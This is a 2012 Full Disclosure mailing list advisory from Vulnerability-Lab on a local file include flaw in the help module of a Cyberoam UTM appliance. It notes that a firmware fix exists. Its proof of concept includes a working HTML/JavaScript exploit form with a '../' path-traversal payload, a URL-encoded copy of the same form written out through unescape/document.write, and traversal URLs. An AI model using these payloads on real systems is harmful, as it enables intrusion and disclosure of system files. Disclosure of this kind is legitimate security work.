Full Disclosure mailing list archives

Cyberoam UTM v10.01.2 build 059 - File Include Vulnerabilities


From: Research <research () vulnerability-lab com>
Date: Sun, 15 Apr 2012 05:21:41 +0200

Title:
======
Cyberoam UTM v10.01.2 build 059 - File Include Vulnerabilities


Date:
=====
2012-04-15


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=498


VL-ID:
=====
498


Introduction:
=============
Cyberoam Unified Threat Management appliances offer comprehensive security to organizations, 
ranging from large enterprises to small and branch offices. Multiple security features 
integrated over a single, Layer 8 Identity-based platform make security simple, yet highly effective.

Cyberoam, with its Extensible Security Architecture (ESA) and multi-core technology carries the 
ability to combat future threats to organizations’ security.

Overview:

        Stateful Inspection Firewall
        VPN (SSL VPN & IPSec)
        Intrusion Prevention System
        Anti-Virus & Anti-Spyware
        Anti-Spam
        Web Filtering
        Bandwidth Management
        
        Application Visibility & Control
        Web Application Firewall
        3G / WiMAX Connectivity
        IM Archiving & Controls
        Multiple Link Management
        On-Appliance Reporting
        IPv6 Ready
        Wi-Fi Appliances


(Copy of the Vendor Homepage: http://www.cyberoam.com/utmoverview.html )


Abstract:
=========
Vulnerability-Lab Team discovered a  File Include Vulnerability on the Cyberoam UTM Appliance CR300i 10.01.2 build 059.


Report-Timeline:
================
2012-03-20:     Vendor Notification
2012-04-01:     Vendor Response/Feedback
2012-04-01:     Vendor Fix/Patch
2012-04-15:     Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Elitecore Technologie
Product: Cyberoam UTM Appliance vCR300i 10.01.2 build 059


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A high severity File Include vulnerability is detected on the Cyberoam UTM Appliance CR300i 10.01.2. 
The vulnerability allows an local low privileged user account to request local system or application files 
(example:telnet-service jsp). Successful exploitation can result in dbms or service/appliance compromise 
via file include vulnerability. The vulnerability is located on the WWWHELP &file=  value request which 
allows the privileged attacker to implement a local appliance path to request in a context frame the system files.


Vulnerable Module(s): 

                                        [+] WW HELP &file=
                                        [+] API &file=

Affected Version(s):
                                        [+] Cyberoam UTM Appliance CR300i 10.01.2 build 059

Picture(s):
                                        ../1.png
                                        ../2.png


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers with low privileged accounts & without user inter action. 
For demonstration or reproduce ...


<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Cyberoam UTM Appliance CR300i 10.01.2 - LOCAL FILE INCLUDE EXPLOIT</title><script language="JavaScript">

var dir="/onlinehelp/wwhelp/wwhimpl/js/html/"
var file="/wwhelp.htm?"
var parameter ="#context=Online_help&file="
var shell="../corporate/webpages/index.jsp"

function command() {
if (document.rfi.target1.value==""){
alert("EXPLOITATION FAILED!");
return false;
}
rfi.action= document.rfi.target1.value+dir+file+parameter+shell;
rfi.submit();
}
</script></head>
<body bgcolor="#000000"><center>
<p><font size="4"><b><font face="Verdana" color="#008000">- <font color="#999999">Cyberoam UTM Appliance CR300i 10.01.2 
[UTM] 
Appliance Application</font> <font color="#990000">- LOCAL FILE INCLUDE EXPLOIT</font> -</font></b></font></p>
<p><br><iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p><form method="post" target="getting" name="rfi" onSubmit="command();">
  <p><b><font face="Arial" size="2" color="#FF0000">TARGET:</font><font face="Arial" size="2" color="#808080"> 
http://target.[COM]/</font> 
  <font color="#FF0000" size="2"> </font></b>
      <input type="text" name="target12" size="50" style="background-color: #006633" 
onMouseOver="javascript:this.style.background='#808080';" 

onMouseOut="javascript:this.style.background='#808000';">
      <input type="submit" value="Request!" name="B12">
    <input type="reset" value="Erase!" name="B22">
  </p>
  </form>
</center></body></html>



... or


<script language=JavaScript>m='%3Chtml%3E%3Chead%3E%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text/
html%3B%20charset%3Dwindows-1254%22%3E%0A%3Ctitle%3ECyberoam%20UTM%20Appliance%20CR300i%2010.01.2%20-%20LOCAL%20
FILE%20INCLUDE%20EXPLOIT%3C/title%3E%3Cscript%20language%3D%22JavaScript%22%3E%0A%0Avar%20dir%3D%22/onlinehelp/
wwhelp/wwhimpl/js/html/%22%0Avar%20file%3D%22/wwhelp.htm%3F%22%0Avar%20parameter%20%3D%22%23context%3DOnline_help
%26file%3D%22%0Avar%20shell%3D%22../corporate/webpages/index.jsp%22%0A%0Afunction%20command%28%29%20%7B%0Aif%20%28
document.rfi.target1.value%3D%3D%22%22%29%7B%0Aalert%28%22EXPLOITATION%20FAILED%21%22%29%3B%0Areturn%20false%3B%0A
%7D%0Arfi.action%3D%20document.rfi.target1.value+dir+file+parameter+shell%3B%0Arfi.submit%28%29%3B%0A%7D%0A%3C/script
%3E%3C/head%3E%0A%3Cbody%20bgcolor%3D%22%23000000%22%3E%3Ccenter%3E%0A%3Cp%3E%3Cfont%20size%3D%224%22%3E%3Cb%3E%3
Cfont%20face%3D%22Verdana%22%20color%3D%22%23008000%22%3E-%20%3Cfont%20color%3D%22%23999999%22%3ECyberoam%20UTM%20
Appliance%20CR300i%2010.01.2%20%5BUTM%5D%20%0AAppliance%20Application%3C/font%3E%20%3Cfont%20color%3D%22%23990000
%22%3E-%20LOCAL%20FILE%20INCLUDE%20EXPLOIT%3C/font%3E%20-%3C/font%3E%3C/b%3E%3C/font%3E%3C/p%3E%0A%3Cp%3E%3Cbr%3E
%3Ciframe%20name%3D%22getting%22%20height%3D%22337%22%20width%3D%22633%22%20scrolling%3D%22yes%22%20frameborder%3D
%220%22%3E%3C/iframe%3E%0A%3C/p%3E%3Cform%20method%3D%22post%22%20target%3D%22getting%22%20name%3D%22rfi%22%20onSubmit
%3D%22command%28%29%3B%22%3E%0A%20%20%3Cp%3E%3Cb%3E%3Cfont%20face%3D%22Arial%22%20size%3D%222%22%20color%3D%22%23FF0000
%22%3ETARGET%3A%3C/font%3E%3Cfont%20face%3D%22Arial%22%20size%3D%222%22%20color%3D%22%23808080%22%3E%20http%3A//target.
%5BCOM%5D/%3C/font%3E%20%0A%20%20%3Cfont%20color%3D%22%23FF0000%22%20size%3D%222%22%3E%20%3C/font%3E%3C/b%3E%0A%20
%20%20%20%20%20%3Cinput%20type%3D%22text%22%20name%3D%22target12%22%20size%3D%2250%22%20style%3D%22background-color
%3A%20%23006633%22%20onMouseOver%3D%22javascript%3Athis.style.background%3D%27%23808080%27%3B%22%20%0A%0AonMouseOut
%3D%22javascript%3Athis.style.background%3D%27%23808000%27%3B%22%3E%0A%20%20%20%20%20%20%3Cinput%20type%3D%22submit
%22%20value%3D%22Request%21%22%20name%3D%22B12%22%3E%0A%20%20%20%20%3Cinput%20type%3D%22reset%22%20value%3D%22Erase
%21%22%20name%3D%22B22%22%3E%0A%20%20%3C/p%3E%0A%20%20%3C/form%3E%0A%3C/center%3E%3C/body%3E%3C/html%3E';
d=unescape(m);document.write(d);</script>



Reference(s):
http://utm.xxx.com/onlinehelp/wwhelp/wwhimpl/js/html/wwhelp.htm#context=Online_help&file=[LFI]../corporate/webpages/index.jsp
http://utm.xxx.com/onlinehelp/wwhelp/wwhimpl/api.htm?context=Online_help&file=[LFI]../corporate/webpages/index.jsp


Solution:
=========
THIS ISSUES HAS BEEN PATCHED WITH THE LAST FIRMEWARE RELEASE  [> 10.01.2 build 158 <]


Risk:
=====
The security risk of the local file include vulnerability is estimated as high(+).


Credits:
========
Vulnerability Research Laboratory   -    Benjamin Kunz Mejri (Rem0ve)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all 
warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss 
of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such 
damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation 
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from 
Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, 
including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

                                                Copyright © 2012 Vulnerability-Lab







-- 
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research () vulnerability-lab com


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread: